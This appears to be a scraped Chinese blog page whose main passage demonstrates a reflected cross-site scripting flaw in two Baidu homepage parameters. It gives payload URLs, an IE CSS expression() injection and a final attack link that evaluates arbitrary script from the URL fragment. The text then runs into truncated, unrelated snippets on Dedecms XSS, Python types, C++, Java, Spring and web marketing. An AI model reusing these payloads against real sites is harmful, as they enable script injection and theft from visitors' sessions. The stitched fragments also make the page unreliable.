一个典型的参数型跨站脚本漏洞

拿百度主页曾经的一个XSS做个演示,这个漏洞是由于百度主页tn和bar参数过滤不严导致的参数型XSS:

http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert(‘xss‘));  
http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert(‘xss‘));

tn和bar两个参数对应在页面的输出是两个input表单值,可以使用”(双引号)闭合表单值,加入CSS属性跨站,页面具体输出如下:

<input type=hidden name=tn value=""/**/style=xss:expression(alert(‘xss‘));">

这个漏洞只能在IE下使用,FIREFOX会把URL链接参数中的”(双引号)转成编码%22,页面参数的输出也会变成%22,就不能闭合”(双引号)跨站。expression()是个不听话的角色,这里可以用一个小技巧来去掉expression烦人的死循环。运行当前URL的#注释符后的代码:

eval(unescape(location.hash.substr(1)))

给window对象的方法定义一个值,判断这个值运行一次代码:

(window.r!=1)?eval(‘window.r=1;eval(unescape(location.hash.substr(1)))‘):1

最后得到完美的攻击链接:

http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval(‘window.r=1;eval(unescape(location.hash.substr(1)))‘):1);#alert%28%29

时间: 2024-12-26 02:45:32

一个典型的参数型跨站脚本漏洞的相关文章

Dedecms存在储存型跨站脚本漏洞

0x00前言 开始从小的漏洞开始练习,搬运项目地址: https://github.com/imsebao/Code-Audit 0x01 Dedecms是一款开源的PHP开源网站管理系统. Dedecms会员功能carbuyaction.php中的address.des.email.postname参数存在存储型XSS漏 洞,攻击者可利用漏洞获得管理员cookie. 测试环境:DedeCMS-V5.7-UTF8-SP2 发布日期: 2017-03-15 官方最新版 漏洞利用条件:DedeCMS

Java Web开发 - 持久型/存储型XSS漏洞

1.什么是XSS漏洞攻击? XSS是跨站脚本攻击(Cross Site Scripting)的简称,之所以叫XSS而不是CSS相比大家都能明白了吧,那就是为了跟层叠样式表(Cascading Style Sheets,CSS)区别. 2.XSS漏洞攻击的原理 恶意攻击者往web页面中插入恶意HTML代码,当用户浏览该web页面时,嵌入到该web页面的恶意HTML代码就会被执行,从而达到恶意攻击用户的特殊目的. XSS漏洞又分为两类,一类是持久型/存储型XSS,另一类是反射型XSS: 1)持久型/

010整型、浮点型、字符串型、列表型、字典型、布尔型

整型.浮点型.字符串型.列表型.字典型.布尔型 一.整型(int) 1.1作用 表示人的年龄.各种号码.级别 1.2定义 age = 18 # age=int(18) print(id(age)) print(type(age)) print(age) 输出结果: 4530100848 <class 'int'> 18 1.3 如何用 加减乘除.逻辑判断(大于.小于) 二.浮点型(float) 2.1 作用 表示身高.体重.薪资 2.2 定义 salary = 2.1 # salary=flo

C++多态性的一个典型例子(转)

本文摘录自C++多态性的一个典型例子. 例题:先建立一个Point(点)类,包含数据成员x,y(坐标点).以它为基类,派生出一个Circle(圆)类,增加数据成员r(半径),再以Circle类为直接基类,派生出一个Cylinder(圆柱体)类,再增加数据成员h(高).要求编写程序,重载运算符“<<”和“>>”,使之能用于输出以上类对象. 这个例题难度不大,但程序很长.对于一个比较大的程序,应当分成若干步骤进行.先声明基类,再声明派生类,逐级进行,分步调试. 1. 声明基类Point

用一个函数返回参数二进制中1的个数

//题目:写一个函数返回参数二进制中的1的个数 //      比如:15    0000 1111  4个1 //     程序原型:  int count_one_bit(unsigned int value) //                {  //                        //返回1的个数 //                 }     #include<stdio.h> #include<stdlib.h> int count_one_bit

跨站脚本漏洞

跨站脚本漏洞,首先看一下专业说明: 跨站脚本漏洞可以再分成两类:Stored attack 和 Reflected attack.这两种攻击的主要区别在于有效负荷到达服务器的方式.Stored attack 仅以某种形式存储在目标服务器上(例如在数据库中),或通过提交至公告板或访问者日志来进行存储.如果请求了所存储的信息,受害者将在自己的浏览器中检索和执行攻击代码.而 Reflected attack 则来自其他地方.当通过动态生成的网页中的服务器端,直接将 Web 客户端的用户输入包含在内时,

Java一个典型类的定义和UML图

一个典型类的定义: 1 /** 2 * 一个典型类的定义 3 * @author 房廷飞 4 * 5 */ 6 public class TextObject { 7 //属性 8 int id; 9 String name; 10 int age; 11 //方法 12 Computer com; 13 void study() { 14 System.out.println("我在认真学习!"+com.brand); 15 16 } 17 void play() { 18 Syst

复现一个典型的线上Spring Bean对象的线程安全问题(附三种解决办法)

问题复现 假设线上是一个典型的Spring Boot Web项目,某一块业务的处理逻辑为: 接受一个name字符串参数,然后将该值赋予给一个注入的bean对象,修改bean对象的name属性后再返回,期间我们用了 Thread.sleep(300) 来模拟线上的高耗时业务 代码如下: @RestController @RequestMapping("name") public class NameController { @Autowired private NameService n

一个成功的营销型网站应该从这五点着手

不得不说,品牌营销型网站建设是现在网站行业的一个主流,它的营销力和品牌塑造力比其他类型的网站更强更好,这也是企业争相建设品牌营销型网站的原因.但是,要完成一个好的品牌营销型网站建设并不容易,或许下面这些建议会对企业有所帮助. 首先,企业在建设品牌营销型网站之前要明确网站的目的,比如针对的用户群是哪些.核心产品是什么.预期收益是多少等等,然后再在这些营销目的的基础上植入品牌的理念,以此来吸引用户的注意. 然后,再从网页设计上来实现上面这些方面,特别要注意的就是首页的设计,它不仅要突出网站的主体,将